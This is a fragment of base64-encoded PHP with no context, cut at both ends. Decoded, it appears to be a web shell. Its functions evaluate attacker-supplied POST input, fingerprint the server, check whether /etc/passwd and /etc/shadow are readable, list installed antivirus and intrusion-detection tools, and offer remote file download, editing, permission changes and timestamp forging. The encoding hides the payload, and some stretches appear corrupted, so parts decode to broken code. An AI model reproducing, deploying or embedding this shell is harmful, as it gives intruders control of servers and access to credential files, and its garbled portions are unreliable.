Cd3aGljaCAnIC4gJHApOwogICAgICAgIGlmICghZW1wdHkoJHBhdGgpKQogICAgICAgICAgICByZXR1cm4gJHBhdGg7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgZnVuY3Rpb24gYWN0aW9uUkMoKQogICAgewogICAgICAgIGlmICghQCRfUE9TVFsncDEnXSkgewogICAgICAgICAgICAkYSA9IGFycmF5KAogICAgICAgICAgICAgICAgInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwKICAgICAgICAgICAgICAgICJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLAogICAgICAgICAgICAgICAgIlZFUlNJTiID0+IFZFUlNJT04sCiAgICAgICAgICAgICAgICAic2FmZW1vZGUiID0+IEBpbmlfZ2V0KCdzYWZlX21vZGUnKQogICAgICAgICAgICApOwogICAgICAgICAgICBlY2hvIHNlcmlhbGl6ZSgkYSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgY29kZXIoJF9QT1NUWydwMSddKTsKICAgICAgICB9CiAgICB9CiAgICBmdW5jdGlvbiBwcmb3R5cGUoJGssICR2KQogICAgewogICAgICAgICRfQ09PS0lFWyRrXSA9ICR2OwogICAgICAgIC8vIHNldGNvb2tpZSgkaywgJHYpOwogICAgICAgIGVjaG8nPHNjcmlwdD4gIGRvY3VtZW50LmNvb2tpZSA9ICInLiRrLic9Jy4kdi4nIjs8L3NjcmlwdD4nOwogICAgfQogICAgZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpCiAgICB7CiAgICAgICAgaGFyZEhlYWRlcigpOwogICAgICAgIGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgICAgIGZ1bmN0aW9uIHNob3dTZWNQYXJhbSgkbiwgJHYpCiAgICAgICAgewogICAgICAgICAgICAkdiA9IHRyaW0oJHYpOwogICAgICAgICAgICBpZiAoJHYpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxzcGFuPicgLiAkbiAuI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5KCk7IGZvcmVhY2ggKCRkYW5nZXIgYXMgJG9wKQogICAgICAgICAgICAgICAgICAgIGlmICh3aGljaCgkb3ApKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJG9wOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcCA9IGFycmF5KCk7IGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkb3ApCiAgICAgICAgICAgICAgICAgICAgaWYgKHdoaWNoKCRvcCkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wWgPSAkb3A7CiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7CiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpbzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJywgZXgoJ3ZlcicpKTsKICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJywgaWNvbnYoJ0NQODY2JywgJ1VURi04JywgZXgoJ25ldCBhY2NvdW50cycpKSk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsIGljb252KCdDUDg2NicsICdVVEYtOCcsIGV4KCduZXQgdXNlcicpKSk7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgaGFyZEZvb3RlcigpOwogICAgfQogICAgZnVuY3RpbgYWN0aW9uRmlsZXNUb29scygpCiAgICB7CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncDEnXSkpCiAgICAgICAgICAgICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwogICAgICAgIGlmIChAJF9QT1NUWydwMiddID09ICdkb3dubG9hZCcpIHsKICAgICAgICAgICAgaWYgKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IiAuIGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgewogICAgICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAkdHlwZSk7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOwogICAgICAgICAgICAgICAgaWYgKCRmcCkgewogICAgICAgICAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGZwKSkKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBleGl0OwogICAgICAgIH0KICAgICAgICBpZiAoQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJykgewogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7CiAgICAgICAgICAgICAgICBpZiAoJGZwKSB7CiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOwogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGhhcmRIZWFkZXIoKTsKICAgICAgICBlY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICBlY2hvICdGaWxlIG5vdCBleGlzdHMnOwogICAgICAgICAgICBoYXJkRm9vdGVyKCk7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZWbmVyKCRfUE9TVFsncDEnXSkpOwogICAgICAgIGlmICghJHVpZCkgewogICAgICAgICAgICAkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICRnaWRbJhbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsKICAgICAgICB9IGVsc2UKICAgICAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOwogICAgICAgIGVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnIC4gaHRtbHNwZWNpYWxjaGFycyhAYmFzZW5hbWUoJF9QT1NUWydwMSddKSkgLiAnIDxzcGFuPlNpemU6PC9zcGFuPiAnIC4gKGlzX2ZpbGUoJF9QT1NUWydwMSddKSA/IHZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpIDogJy0nKSAuICcgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcgLiB2aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pIC4gJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcgLiAkdWlkWyduYW1lJ10gLiAnLycgLiAkZ2lkWyduYW1lJgLiAnPGJyPic7CiAgICAgICAgZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnLCBmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkgLiAnIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpIC4gJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW0tZCBIOmk6cycsIGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKSAuICc8YnI+PGJyPic7CiAgICAgICAgaWYgKGVtcHR5KCRfUE9TVFsncDInXSkpCiAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsKICAgICAgICBpZiAoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pKQogICAgICAgICAgICAkbSA9IGFycmF5KCdWaWV3JywgJ0hpZ2hsaWdodCcsICdEb3dubG9hZCcsICdIZXhkdW1wJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJywgJ0ZyYW1lJyk7CiAgICAgICAgZWxzZQogICAgICAgICAgICAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgICAgICBmb3JlYWNoICgkbSBhcyAkdikKICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLFwnJyAuIHN0cnRvbGZXIoJHYpIC4gJ1wnKSI+JyAuICgoc3RydG9sb3dlcigkdikgPT0gQCRfUE9TVFsncDInXSkgPyAnPGI+WyAnIC4gJHYgLiAnIF08L2I+JyA6ICR2KSAuICc8L2E+ICc7CiAgICAgICAgZWNobyAnPGJyPjxicj4nOwogICAgICAgIHN3aXRjaCAoJF9QT1NUWydwMiddKSB7CiAgICAgICAgICAgIGNhc2UgJ3ZpZXcnOgogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JzsKICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiAgICAgICAgICAgICAgICBpZiAoJGZwKSB7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZnApKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzoKICAgICAgICAgICAgICAgIGlmIChAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsKICAgICAgICAgICAgICAgICAgICAkb1JiID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSwgdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywgJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsICc8L2ZvbnQ+JyksICRvUmIpIC4gJzwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnY2htb2QnOgogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3AzJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgJHBlcm1zID0gMDsKICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gc3RybGVuKCRfUE9TVFsncDMnXSkgLSAxOyAkaSA+PSAwOyAtLSRpKQogICAgICAgICAgICAgICAgICAgICAgICAkcGVybXMgKz0gKGludCkgJF9QT1NUWydwMyddWyRpXSAqIHBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSkgLSAkaSAtIDEpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgICAgICAgICAgICBlY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLGbGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZTZXh0IG5hbWU9Y2htb2QgdmFsdWU9IicgLiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksIC00KSAuICciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlZGl0JzoKICAgICAgICAgICAgICAgIGlmICghaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncDMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJgPSBzdWJzdHIoJF9QT1NUWydwMyddLCAxKTsKICAgICAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAidyIpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZnApIHsKICAgICAgICAgICAgICAgICAgICAgICAgQGZ3cml0ZSgkZnAsICRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7CiAgICAgICAgICAgICAgICAgICAgICAgIEB0b3VjaCgkX1BPU1RbJ3AxJ10sICR0aW1lLCAkdGltZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbzdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiAgICAgICAgICAgICAgICBpZiAoJGZwKSB7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZnApKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2hleGR1bXAnOgogICAgICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgICRuID0gMDsKICAgICAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsICcnLCAnJyk7CiAgICAgICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjKTsKICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRsZWICsrJGkpIHsKICAgICAgICAgICAgICAgICAgICAkaFsxXSAuPSBzcHJpbnRmKCclMDJYJywgb3JkKCRjWyRpXSkpIC4gJyAnOwogICAgICAgICAgICAgICAgICAgIHN3aXRjaCAob3JkKCRjWyRpXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAwOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbMl0gLj0gJyAnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgOToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICcgJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDEwOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbMl0gLj0gJyAnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMTM6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaFsyXSAuPSAnICc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICRjWyRpXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbisrOwogICAgICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgewogICAgICAgICAgICAgICAgICAgICAgICAkbiA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSArIDEgPCAkbGVuKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaFswXSAuPSBzcHJpbnRmKCclMDhYJywgJGkgKyAxKSAuICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkaFsxXSAuPSAnPGJyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMxYTFhMWE+PHRyPjx0ZCBiZ2NvbG9yPSMyMDI4MzI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicgLiAkaFswXSAuICc8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMDYwYTEwPjxwcmU+JyAuICRoWzFdIC4gJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzIwMjgzMj48cHJlPicgLiBodG1sc3BlY2lhbGNoYXJzKCRoWzJdKSAuICc8L3ByZT48L3RkPjwvdHI+PCYWJsZT4nOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3JlbmFtZSc6CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncDMnXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInIC4gdXJsZW5jb2RlKCRfUE9TVFsncDMnXSkgLiAnIixudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKSAuICciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICd0b3VjaCc6CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncDMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGltZSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIXRvdWNoKCRfUE9TVFsncDEnXSwgJHRpbWUsICR0aW1lKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0ZhaWwhJzsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnVG91Y2hlZCEnOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgIC